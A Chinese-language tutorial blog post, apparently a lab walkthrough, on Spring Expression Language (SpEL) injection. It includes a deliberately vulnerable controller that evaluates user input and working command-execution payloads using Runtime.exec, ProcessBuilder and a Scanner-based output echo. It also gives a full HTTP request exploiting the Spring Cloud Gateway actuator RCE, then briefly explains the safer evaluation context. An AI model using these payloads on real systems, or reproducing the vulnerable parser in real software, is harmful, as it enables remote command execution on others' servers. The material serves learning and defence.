赞
踩
因为前端时间的spring gateway rce正是由此导致的所以来学习一下
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于统一EL,但提供了额外的功能,是方法调用和基本的字符串模板了同时SpEL是API接口的形式因为创建的,所以允许将其集成到其他应用程序和框架中。
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
下载之后用idea打开等待依赖关系解决完,然后配置springboot启动项
运行后访问
http://localhost:9091/
SpEL定界符——#{}
SpEL使用#{}
作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。如果是 #{ 开头同时 } 结尾,就会进入到 SPEL 解析
这里需要注意#{}
和${}
的区别:
#{}
就是SpEL的定界符,用于指明内容未SpEL表达式并执行;${}
主要用于加载外部属性文件中的值,在Spring Boot 很早版本的一个SpEL表达式注入中就是依赖${}触发的#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的简单demo
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("'hello world'");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
具体步骤如下:
主要接口
在SpEL表达式中,使用T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用T(Type)
来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("T(java.lang.Math)");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
返回了Math类
那么尝试直接调用Runtime类中的exec方法
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
成功弹出了计算器
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
也能够命令执行
为什么不适用Runtime类?
因为Runtime类没有构造方法,只能通过getRuntime的方法去获得
模拟真实环境中SpEL注入,如何自己构造回显了
简单demo
@RestController
@EnableAutoConfiguration
public class Index {
@ResponseBody
@RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
}
这时候使用SpEL模板表达式会报错
需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。
@RestController
@EnableAutoConfiguration
public class Index {
@ResponseBody
@RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = parser.parseExpression(input,templateParserContext);
return expression.getValue().toString();
}
}
成功命令执行
现在我们尝试执行whoami
返回的也只是类对象
因为我们可以随意创建对象并调用方法,所以可以利用java原生类来进行构造
Scanner
input=#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("lyy9").next()}
原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,这里给不可能出现的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。
成功回显
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.159.132:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 333 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/sh','-c', 'id').start().getInputStream(), 'GBK').useDelimiter('lyy9').next()}" } }], "uri": "http://example.com" }
步骤就不介绍了,可以看之前的漏洞文章,最后也能成功回显
不过spring gateway的回显关键点并不在这,还是filter中的AddResponseHeaderGatewayFilterFactory可以向response 中写入执行结果,因此恰好满足回显要求
其实就是SpEL本身带有强大功能,如果不做限制就会导致rce
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)或者直接new来调用任意对象的任意方法,成功造成任意命令执行。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。